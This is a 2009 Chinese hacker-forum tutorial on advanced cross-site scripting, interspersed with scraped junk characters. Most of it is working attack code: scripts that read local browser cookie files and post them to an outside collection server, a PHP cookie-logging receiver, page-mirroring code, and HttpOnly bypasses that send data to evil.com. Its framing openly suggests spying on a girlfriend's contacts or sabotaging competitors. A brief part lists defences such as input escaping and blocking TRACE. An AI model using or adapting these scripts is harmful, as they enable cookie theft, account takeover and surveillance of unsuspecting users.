XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
" ^* i! f4 q6 o5 _5 V, q本帖最后由 racle 于 2009-5-30 09:19 编辑

( p5 R; Y, p* y+ B9 @9 RXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
9 W7 d3 n! i* B. W; N/ \  phttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权


, _% C6 y0 ?- ^' T7 g& a' ^
-------------------------------------------前言---------------------------------------------------------


1 A- O* a. Z+ W8 n2 ^( a1 i本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
8 I( I* i5 J- `6 `4 S! ^/ J9 ^% Mhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
% K0 ]7 \9 B$ z( {& Z& p8 Khttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
7 [* J% _& r( X; ghttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持



4 C, P4 R+ B* y% d# q0 g) s
* [: M8 z7 ~' z$ A, g& B- m如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

; D4 ]: F4 j# I" z  j/ j& U3 r& a希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
: G4 r  R& X+ a$ Q1 {
% r6 t, |8 z. @# L如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
" D8 [* O* z; o! ^5 v
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

' V% c2 q/ c( `; F: F; L..........
/ G6 N; v8 B6 y7 X- ~/ m复制代码------------------------------------------介绍-------------------------------------------------------------
& i* E( s8 B' |0 S6 h% V
) c2 d/ W# [$ B0 H, \2 U* B" o( {什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
; G0 c, T7 d& h4 f# d& W
' I1 y+ P7 c8 }/ Q. b0 }

6 r! R7 l/ a# e/ h* b跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
8 \9 T* Q0 H( w+ S& E6 x5 b
5 {+ F! W* u2 [0 F, ~* z

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
* Y9 Y( f# G2 I1 Z复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
6 h! d6 h. U: s1 b- ]9 Q我们在这里重点探讨以下几个问题:
- ^, G* k  i* Y/ C- H" N
1        通过XSS,我们能实现什么?
! |. g) L- U4 d
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

/ ?  t) s4 [+ y% T3 k3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

9 D% v4 N& p! u0 @) q( ^4        XSS漏洞在输出和输入两个方面怎么才能避免.
. ?- s* k  H, s
! h; j6 q6 c5 E
, z& x% ~( }  \9 a
9 t4 d0 |0 x/ S1 ]  a& F------------------------------------------研究正题----------------------------------------------------------
. ]* q* {4 U( [


通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
& v" U- a1 @. T& }复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
5 z8 H1 ~9 l6 q/ A' E' T1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
2 _+ d% q# [% O. Z# [3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
8 z, A- ^, H( k4:Http-only可以采用作为COOKIES保护方式之一.

  r  l; h( D9 [0 O# o1 Y
! E- K# @  N% _4 ?

! C; g1 P! o- k* g' }- ^" H& x+ j
) a) L, u( @# I" C: ^4 J(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
4 p( M$ n  I: n. z( X$ o

) ^0 Q- U4 n6 M1 R5 B1 v
' ^' l; P/ A" W, }    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
  O' D" r  `9 {( L0 @6 J- e# r1 X; {


# X- O0 E' j& G6 F$ o    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
# N8 Q% G$ S0 `% j

! P4 l: i* ]% t2 g* ^
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
7 Z( `3 e! I, o+ R( K, r复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}

. o' r. j3 N1 C, p& k( y

4 `( [+ O$ ?1 H8 \; ~    function ajax_obj(){

1 c5 s0 Q. U$ k) \    var request = false;

3 O0 F2 h* r! s' e: o    if(window.XMLHttpRequest) {
9 ?/ C) c7 j% t
    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

& K4 T, C$ U. N( H7 y* |' x6 c2 G    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

6 G. k( O2 j5 ?8 Q$ r6 w& X

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
' J* s, M/ @. ~* e
; ^; e" `+ F- d" g4 m% o! b    for(var i=0; i<versions.length; i++) {
* c" X, c5 F/ N1 S+ e0 ^% G
% O% s/ [: \# H, h- i    try {

    request = new ActiveXObject(versions);

' w( [! n! i# D9 j; n    } catch(e) {}

: ^+ e% P! d4 T% e    }
) h# G: x/ l( ]( c) G# O  y
    }

/ x1 V( {# m+ G. @6 f    return request;

    }
1 x# \* W+ g2 P8 }4 l/ z
: p! K2 m* y7 O    var _x = ajax_obj();
8 }5 _4 |- u+ e3 t' G
    function _7or3(_m,action,argv){
: ^2 V7 q' H4 ^! F! \$ f3 J6 K- b
# U5 V2 ]& V: R% B* D4 p    _x.open(_m,action,false);
4 O/ e$ B3 l3 D
% p& b2 r/ W4 X# T* q* B$ ?    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
6 G0 h& }! @) K8 x
) H0 k  P% w9 h2 _5 \$ p. q    _x.send(argv);

# w5 Q( y$ u" T+ X- Y9 d    return _x.responseText;
$ f" v/ z7 ?6 s$ L0 m
    }


2 B# {6 M; l' r( |2 k# V' }+ g
3 ~* G! f9 X& l2 w, ?7 ~7 w    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
( D6 H2 y3 S7 ], I) X2 U
    alert(txt);

" t7 \2 ?! v! [; n+ A) T
8 `* ]8 z- j2 H9 N* Q+ w( u. \6 `
1 j2 N3 C* Q8 {3 N    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}


1 L6 L. B- M( G6 Y. O
1 q! B/ Q0 B' T( v/ i. z    function ajax_obj(){

    var request = false;
7 {( j+ c" V/ e! W
    if(window.XMLHttpRequest) {
( ~4 @: @0 _! ]
3 T$ S5 D2 U. D% F- ]    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
; Q/ g! E1 K' [# c1 J
, S1 L( ]5 s8 T6 D    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

, j$ A1 j, Y4 v% z( t3 O# J7 ]$ J! ]* [    for(var i=0; i<versions.length; i++) {

! x4 ~8 ?% ^9 [, ]0 o    try {

  b2 e1 W" c! I' h+ {& s4 T# E& `    request = new ActiveXObject(versions);

5 c5 [  w4 Q7 W    } catch(e) {}
; ~0 I0 `0 _0 g, Z8 }2 d. e# K9 a7 b
0 M0 x' A1 m) b  {+ @; O  I8 A    }

    }

    return request;

" j' j& I# ~" g& J8 o    }

    var _x = ajax_obj();
. G% t  P7 u  C( m; S
& m3 {% K; H6 _4 r! Z3 a    function _7or3(_m,action,argv){
) l, ?) R. W$ z. ?
" M; w" C3 X' c    _x.open(_m,action,false);
' \" t' B3 K5 n6 T' D
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
" Z% l# v: q* }& J% O' T9 K0 L0 d
    _x.send(argv);

    return _x.responseText;
3 C/ v+ e! W* S& ]$ x+ h( Z, L
    }
& i6 H. K& y! u+ m- E" W
) j- n* ]4 D  e% g7 H5 @/ B
9 U+ D/ {+ G& Z, S+ B
$ d' t+ n) r2 K% @+ N- d% x: l" T2 N    var txt=_7or3("GET","1/11.txt",null);
7 b2 j; b, |( Q
5 `2 O9 J, X) [( G4 r6 N, j1 S  P    alert(txt);



    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”



Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

9 n9 K9 _  G% D* h7 f+ b2 K/ B
) l9 C+ K" n, x0 {* w  F: p8 h, H3 m2 E
<?   

/*  

7 F4 }. Z: f- g7 u# n8 L) V6 H     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
. T, ]- C# f1 h& b: G( P6 M
# m5 j( w- s3 o! z     www.inbreak.net   
  U, X3 u9 c8 C9 F4 I' w% q( P
& J1 C5 e; o) I" t     author voidloafer@gmail.com 2009-4-22   

! C6 y6 W- \) r1 r) t+ E     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

  l+ U* t- t; M0 x. I9 A*/  

: X3 s$ x4 a8 H- r, C6 }# ~2 @- Xheader("Content-Disposition: attachment;filename=kxlzx.htm");   
9 |+ j6 Q2 Y4 r: ?4 u  t+ T
header("Content-type: application/kxlzx");   
7 W, j, @) I% n) P0 c8 j2 C
3 W# z  U* b+ C9 Z( f. R1 H/*  

     set header, so just download html file,and open it at local.  
" K6 z9 z( C4 N; t' M/ |
) r% F" U9 c4 S9 Y, g8 b*/  
: N5 v) P7 l! l3 m+ _7 @2 m% w/ a
- d, J2 |3 N8 \2 @3 X?>   
& Y& z, x. s# H/ V, @# ?4 q: z* c. X
- w5 w' p# H0 [& l<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
2 e6 e3 C# N8 F" B" g' ?1 W" P
$ w& {! N3 \" ~3 O: c     <input id="input" name="cookie" value="" type="hidden">   
5 _: R) f& r' I8 n, K% ]
</form>   
/ ]+ k1 K/ l' y/ T7 M* O5 y
( d( V. u8 ^* t8 ~0 o0 y<script>   
: k* I3 X: A# B9 {" A3 I
( Q. x9 j0 a  M7 ifunction doMyAjax(user)   
* m9 Y. T9 }* E8 }
2 o9 G) w) s* }/ @+ y8 z/ _{   

  ^. t) ?0 u3 E6 [) ]var time = Math.random();   
# @1 Q( K7 m- ?- a+ ]
/*  

# b. g8 U6 ^; C: e; s0 ythe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
; Q, |0 c+ Z; C1 m' `( g
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
* c& K; ~' S6 L) P+ a. {; h" M
and so on...  

7 _  f- `  A2 f( x*/  

var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

2 m/ c" U3 I; H  \! \   

$ @4 x2 K0 W% ~0 w, _startRequest(strPer);   
* W3 |2 H4 f0 P9 D
4 Q' k4 Y% Y0 n! Z6 n
% C% q% g) }' P% _# }( [3 V* J
- P( _6 `4 o9 o}   
! O# w! u, n3 J4 g; s5 j$ M
   
( k4 j6 d6 R6 ?
4 R7 N: c2 a! l% ?  h* i/ p  U9 pfunction Enshellcode(txt)   

{   

var url=new String(txt);   

$ s) s- C: T- [: C! e/ V5 U' ?var i=0,l=0,k=0,curl="";   
. M  z, f+ J9 v/ Q
l= url.length;   
9 l# q0 q1 `& \/ C0 I* E
for(;i<l;i++){   
1 f8 ~' b: M" A& t7 G; W& {
! i* H& f; B" g$ w( |7 e6 o) bk=url.charCodeAt(i);   

. ^+ K3 f  n- l' m0 z! ~if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

$ f7 [/ `8 `+ \6 Uif (l%2){curl+="00";}else{curl+="0000";}   

2 F. W) [+ o5 L) F3 P% pcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
" E4 t/ y; C: Y/ n
return curl;   
( ]$ T0 G' u) q% w- b! Z; `
}   
5 X6 l2 D# x, g0 g, C$ ^0 @- R& E: m
   

# D: T( Z  y2 E7 x' b/ u   
0 `+ J* v4 q- M
1 T1 S4 f9 \& Q: w$ ^var xmlHttp;   

+ X# A# Z- P! Nfunction createXMLHttp(){   

     if(window.XMLHttpRequest){   

' }) w& a# e1 x) P7 `3 RxmlHttp = new XMLHttpRequest();           
! [! c% b0 J$ v" K3 L& a% u) t) }
     }   

! y; X3 W, Z" j* K3 v* e     else if(window.ActiveXObject){   
8 c+ U* l6 H# i/ X1 S1 I
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
# v+ I7 _$ r+ @; s' [$ Q
& f' ^1 n; I; i& @& O9 {     }   
) i4 P5 k- `( b. c  W% j
}   
" |$ D/ h* i/ i3 O
1 B/ A4 c' |2 e0 {& J   

  p. m. ?! V+ v0 y2 ]7 W# k; J8 h" wfunction startRequest(doUrl){   
, ~! s) Y' r/ ?7 C% g3 }) @
9 M; {; Y2 U! q( i   

     createXMLHttp();   


5 \+ H* x  A; K# ]- H( C  ^+ S
& H$ j$ I; @7 N& X  d8 x- X% m     xmlHttp.onreadystatechange = handleStateChange;   
- M% Z! x! \- }- t
: e4 d  R3 y7 {. M
# r$ D- u* a3 C
) t9 i, b4 v) K  F" S& i  e     xmlHttp.open("GET", doUrl, true);   



     xmlHttp.send(null);   
: G1 h+ V8 Y- h0 r/ p' o6 o8 o! |

5 J) k( s) c2 D& t
, O; ^' X/ {1 t& d; }

}   

  Z7 o1 O- ?% {) O2 s' Q   

" C! q/ L9 y' I7 Pfunction handleStateChange(){   
: w: _+ ?& q8 o* }
! z, K3 C% S+ U" R     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        

* J! L" g4 L. w8 D     }   

2 K5 W8 S# m: ?; ?% o1 Z}   

* b' a- _/ p& L3 y  N   
9 z/ y/ d) e, Z2 ]$ L
   

! R: C2 ?" o# Q6 n2 b" Ffunction framekxlzxPost(text)   
, c; u  \8 T. i6 \3 W" L) ]
{   
1 L& F6 a1 V# W$ v
  c  Q# W0 v" J2 H% L9 R     document.getElementById("input").value = Enshellcode(text);   
: Q( L* }/ d* V) F8 \: D0 s
     document.getElementById("form").submit();   
& k4 l7 Q" K4 V. z* `
}   
6 s" z# m( @2 V9 l$ i# Y
   
1 V8 u3 J$ l, M+ @
doMyAjax("administrator");   
- s8 @; R5 k! `( A$ F% b# I
; w- g; ^7 }; e' y5 a9 u   

</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
- Q- _( v/ V3 r+ p% J% [
var xmlHttp;  

4 {8 m; `, S5 ^function createXMLHttp(){  
% P- b! k! Y! k: {. R. ^  m
& w9 j% F- {% Z0 f+ b8 k     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         
% e& k1 q$ X" E
7 {( o1 y6 c  @! x4 X/ @     }  
+ F# f" Y- v( i# D4 A" B/ n
# {; j$ i" f* I' b) a) K) |/ C  q     else if(window.ActiveXObject){  
- e  R8 h. y  P
( a& j7 G8 M! L1 N* V4 _         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
6 ?7 Q3 b4 V; E- d# }' D1 E
     }  
  l! h4 f* p+ G
}  
+ I- I4 v* `" B" K
   

+ k8 E8 t. A+ P/ y6 w6 X* r! Q5 Tfunction startRequest(doUrl){  

           

. ^$ Q" B* A: j6 r5 [- F     createXMLHttp();  
# e1 Z  p6 T( k) }/ ^
, X* ]2 o6 M: G' C% I      

     xmlHttp.onreadystatechange = handleStateChange;  
# c# l' H* v; T
% |  m9 n# i  s6 a4 P1 `      
+ W2 }; D2 H! u/ q( y
2 o+ m6 s+ k6 N1 u" w, o" u     xmlHttp.open("GET", doUrl, true);  
$ {6 J, H3 e4 V/ A% s  W8 t
* [; x; d  k4 c( U      
/ M3 [( Y+ _5 S5 @9 O* u! N
     xmlHttp.send(null);  

1 E( w! {3 q8 u. y' h. m/ c      

$ E6 U+ _& Z" ?0 e6 ^      

}   

   

3 s& Q: o1 D7 R2 Jfunction handleStateChange(){  

! m0 K2 b  o/ R, i4 c! z# w- ]     if (xmlHttp.readyState == 4 ){  

1 C  F8 [* k) @  `3 L             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

9 w  F4 k, P- K$ j               

     }  

- F. r. b- q! W}  

   

8 X; m  V5 `6 P2 O& ofunction doMyAjax(user,file)  
: o: y5 m. f0 d! q
{  

; B8 a" ~6 g$ E# T2 e8 \         var time = Math.random();  
! v% s9 s" l8 x) _  B; ^
           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
8 B1 C+ ^) Q, Z' q# u4 {
& O: f) l; w/ z3 h# B: K           

         startRequest(strPer);  
: i! v6 ^/ [3 p9 t' ?' F
  }: f' E$ T4 S      
4 F7 m5 ^7 I2 D( p- Q
- C# k1 V. H  h' D0 X}  

   
* [0 ^9 X+ J+ v( w' @& b0 h; j5 M
function framekxlzxPost(text)  
' Z7 X8 V' O4 v( T  x
{  

" o( ?) D+ v" i$ [     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

0 O7 |$ Q- x8 G, h     alert(/ok/);  
9 C/ F5 D: q4 a; O
9 e7 h. I2 `' d" L9 m& j3 ^}  
, ^/ d& r; z- Y* X& b# V6 S0 x
4 Y7 E% h% _0 x1 ?   
) k- Y# U" t1 K% [4 n0 a
doMyAjax('administrator','administrator@alibaba[1].txt');  

7 w6 g) T' F6 ]  _' Q   
" d. ~8 y1 t* ?# B# Z! Z6 i+ q. \8 x" f
</script>

/ \; ?4 y; j7 [# a! M+ U- f


0 e* k, p0 J! l9 p% s
a.php
' u2 p# H9 _' a- a3 C. j- E# j; S
- f4 n4 {+ u  g6 z7 A. d" D, y$ y

<?php      

   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
  x7 j( w. r  V) w3 W
  N$ V3 A6 w' ^7 z& q- i7 ufwrite($fp,$_GET["cookie"]);      
2 u  d2 ?: k7 R: Q8 A% l4 U/ l- K" Y. D+ N
fclose($fp);   
. _! Q  h9 p  k: s9 a, A$ h% |
2 e" U3 r- R5 E# x; y4 L; a?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
) [7 S+ |& b) S+ F% B
: _5 U9 b- }) i1 \2 Y//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
( e& ^3 @; Z+ S6 C+ o1 V
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
' w, d! m: K6 R1 i( f/ x
/ U* k* j1 m! S/ C: mvar image = new Image();

! ^+ j- ~8 |( b- I& f5 simage.style.width = 0;

0 c1 r1 }, t1 g5 Rimage.style.height = 0;
9 m0 ^# t7 E1 c; k
0 ?- b9 p9 t7 Z% u' b% n. Limage.src = s;

* f" }" c' @! T+ h: w0 V}

1 h  w8 M* e* c+ f. ggetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
& m- G4 L5 M5 N  s3 Q5 A0 V
& W# U2 a7 u" q4 p5 P' nvar metastr = "AAAAAAAAAA"; // 10 A

var str = "";

while (str.length < 4000){
0 K. k0 m9 `1 Q6 j, u7 H
    str += metastr;

}

* u) U7 U" a+ ]- A/ z$ C

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
9 P- D2 }6 l; q# E& r- ?
' v  G' I9 F, r, G# |</script>
7 p# K* ?$ N/ v5 h
4 c0 z/ a1 M* C* T详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
' K5 H4 E! L; X! S. f2 Y5 nserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
9 y0 g  R# |6 G" Z( Z" B
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
4 D7 Y) j4 M- O" K7 X' \) n. H
7 Y0 T' d" {% T, h8 N6 g4 I7 C& p

" R& c6 s/ A. q6 Z2 G
0 d' ]# X; f- A# @

(III) Http only bypass 与 补救对策:
: l1 P" c9 I7 z/ _9 E
) i" v" [# Y! C' C* Z, R什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
' X1 R" K$ Z- w! a) E/ R' a6 ^- ~
4 L% Z; K9 T6 ]<!--

function normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";
- b0 F0 I$ ^+ W5 ~; W) s
- Z+ t, F# M3 d, P8 Calert(document.cookie);

( h: ]$ [4 a& V5 y, `}





function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}


' y: c8 t& ^6 c# R
//-->

" k6 h( K) P" U</script>
: y/ o0 W# p' o  w  Q4 A9 A, y, ?


<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
* z3 z5 Y6 U- |; B4 o复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

6 s" V+ q  B" q% `- H
- c: ^' o/ Y- E. B) ^) |/ z
: u# b1 _, @8 W6 X" q9 ?( zvar request = false;

6 C- D; h( y% ?- ^; ^- q4 R        if(window.XMLHttpRequest) {
# J# D, G6 z- J5 m# q. r2 I
            request = new XMLHttpRequest();
* s5 V0 k7 N& b) G
            if(request.overrideMimeType) {

7 C: c& M1 a: I8 S" \                request.overrideMimeType('text/xml');

            }
: F% @7 M' }# n# f0 D! ]2 O% k- T8 u
        } else if(window.ActiveXObject) {
; q$ w( f9 }, P0 k$ e  v
. t4 [+ z( X$ x9 \6 X0 J            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
2 _0 |, W5 i# @! W" u4 M4 d
                try {

                    request = new ActiveXObject(versions);
% M" m, q: e1 ?1 T
                } catch(e) {}

            }
+ N6 Y5 ~8 M6 h& z4 U4 u+ e, P' K* J! C
        }

xmlHttp=request;

8 @& K7 K- R: Q0 \$ lxmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);

4 }9 u: \7 ]1 W" O3 G& b) B# hxmlDoc=xmlHttp.responseText;

alert(xmlDoc);

7 H( K- \5 b" P  S  ?</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

7 ]2 P  |! H# t8 e: e$ tvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
; h) |9 q3 w6 w' O( z
5 ^- r9 f0 m, q! n9 s$ s- f1 M" fXmlHttp.send(null);

var resource=xmlHttp.responseText

resource.search(/cookies/);

......................

</script>



7 C. M+ I* k) |& @, t2 l$ r

如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

, z8 Y/ f1 B* L; N0 F9 S& J[code]

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

- P* c! b+ D7 jRewriteRule .* - [F]


) S4 R5 s8 t6 D9 O- q4 R# ^& L
0 {; a- i2 A8 s- P  uSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE
- w; A- z" G1 X* N& H8 m9 v
0 y7 @' j' ]) v- f* w- w9 X...
% }4 V& _" T8 A* D6 f1 Z
http_access deny TRACE
9 {& o0 [/ F1 `# b. X复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
" z4 Q# `  V4 P' a) c% E$ n
XmlHttp.open("GET","http://www.google.com",false);

+ D6 t$ ?- ]) P% h4 M; j  ~8 |: n% UXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

* u7 B6 b- U3 U+ L: P% ^/ a" y* ~XmlHttp.send(null);
# c. ^* |. q+ `6 u4 t
# E6 N9 _4 v% {0 G- l</script>
& l9 G! t" E6 L% o" b6 x4 S复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
7 O5 R3 p4 R. R, f
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");



XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

9 s3 B9 ~: ?# W" ~, IXmlHttp.send(null);
5 g6 H0 d/ J2 ?7 _1 {& z' v
<script>
